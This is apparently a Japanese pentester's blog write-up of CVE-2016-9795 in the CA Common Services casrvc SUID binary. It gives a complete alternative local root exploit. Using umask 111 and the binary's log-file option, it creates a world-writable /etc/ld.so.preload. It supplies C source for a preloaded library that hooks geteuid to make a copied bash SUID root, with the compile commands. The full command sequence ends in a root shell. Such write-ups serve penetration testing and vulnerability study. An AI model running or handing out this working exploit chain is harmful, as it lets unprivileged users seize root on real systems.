
再検討された CVE-2016-9795 権限昇格(CA Common Services スイートの casrvc バイナリ)
あるペンテストにおいて、casrvc SUID バイナリ (CA Common Services スイートの一部) に偶然遭遇しました。調査の結果、このバイナリはローカル権限昇格に対して脆弱であることがわかりました。実際、NCC グループによってこの脆弱性には公開 CVE (CVE-2016-9795) が既に割り当てられていました。
脆弱性は非常に単純で、後で知ったことですが、NCC グループは PDF アドバイザリ (https://www.nccgroup.com/globalassets/our-research/uk/technical-advisories/2017/advisory-craigsblackie-cve-2016-9795.pdf) で Proof-Of-Concept を公開していました。それにもかかわらず、ペンテストの実施中に、私は別の悪用経路を選択しました。これは最初の選択肢として実行可能な代替手段であり、正しく実行すればリスクが少ない可能性があります。
脆弱性は casrvc SUID バイナリに存在し、ユーザーがログの書き込み先ファイル名 (および絶対パス) を選択できる機能を公開しています。このログファイルの一部はユーザーによって制御されるため、最終的に非特権ユーザーに多かれ少なかれ制御された任意書き込みを提供します。
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /tmp/t/log_test stop "**[USER CONTROLLED INPUT]**"
[...]
2020-09-20 17:41:08 <22288:00002> [3]: Running in Very Verbose Mode.
2020-09-20 17:41:09 <22288:00003> [3]: INFO - Validating User ithc.oss
permission.
2016-08-08 17:41:09 <22288:00004> [0]: ERROR - User does not have permission to
start/stop **[USER CONTROLLED INPUT]**
既存の PoC は、ログ出力を /etc/passwd ファイルに連結して root グループに別のユーザーエントリを追加するだけです。/etc/passwd に何かを連結するのは時としてリスクが高い行為であり、私の場合は何としてもサーバーのクラッシュを避けたかったのです。
この悪用手法は新しいものではなく、多くの研究者 (@dawid_golunski、@itm4n など) によって取り上げられています。この手法はこのバイナリに適用可能であり、ここでは教育目的で説明します。
これは、/etc/ld.so.preload ファイルに追記または作成することから構成されます。Linux マニュアル man ld.so に説明されているように、このファイルはバイナリが起動されるたびに読み込まれるライブラリ名のリスト (1行に1つ) を定義することを可能にします。
/etc/ld.so.preload
File containing a whitespace-separated list of ELF shared objects to be loaded before
the program. See the discussion of LD_PRELOAD above. If both LD_PRELOAD and
/etc/ld.so.preload are employed, the libraries specified by LD_PRELOAD are preloaded
first. /etc/ld.so.preload has a system-wide effect, causing the specified libraries to
be preloaded for all programs that are executed on the system. (This is usually unde‐
sirable, and is typically employed only as an emergency remedy, for example, as a tem‐
porary workaround to a library misconfiguration issue.)
このファイルの特異性は、プリロードされたライブラリが SUID プログラムを含め、システム上で実行される すべての プログラムに対して読み込まれることです。もちろん、これは任意のユーザーがセッションのコンテキストでライブラリをプリロードするために設定できる "LD_PRELOAD" 環境変数には当てはまりません。
作成されるファイルの内容を完全に制御するために、umask コマンドを使用してファイルモード作成マスクを設定します。これにより、ログファイルが作成されたときに、全員に読み取りおよび書き込み権限が付与されます。
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
ls -lah /etc/ld.so.preload
-rw-rw-rw- 1 root dsm 1 Nov 4 15:44 /etc/ld.so.preload
casrvc 実行可能ファイルを実行した後、内容に有効な .so ライブラリが含まれていないため、コンピュータ上でプログラムが起動されるたびにエラーメッセージが生成されます。そのため、ファイルの内容をすぐに消去しようとします。
今回のケースでは、umask のトリックは機能します。ただし、実行可能ファイルが自ら umask の値を設定する場合があり、その場合は私たちが設定した umask の値が上書きされ無視されます。
次に .so ファイルを作成します。以下がこの .so ファイルのソースコードです。これには3つの機能があります:
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <fcntl.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("/tmp/root_shell", 0, 0);
chmod("/tmp/root_shell", 06777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
コンパイルするには、単に
gcc -Wall -fPIC -shared -o "/tmp/lib.so" "/tmp/lib.c" -ldl
前のコマンドでは、/tmp パーティションが NOEXEC や NOSUID プロパティでマウントされていないことを前提としています。
cp /bin/bash /tmp/root_shell
umask 111
/opt/CA/SharedComponents/csutils/bin/casrvc -q -f /etc/ld.so.preload
echo '' > /etc/ld.so.preload
echo /tmp/lib.so > /etc/ld.so.preload
sudo
/tmp/root_shell
$ id
uid=0(root) gid=0(root) groups=0(root)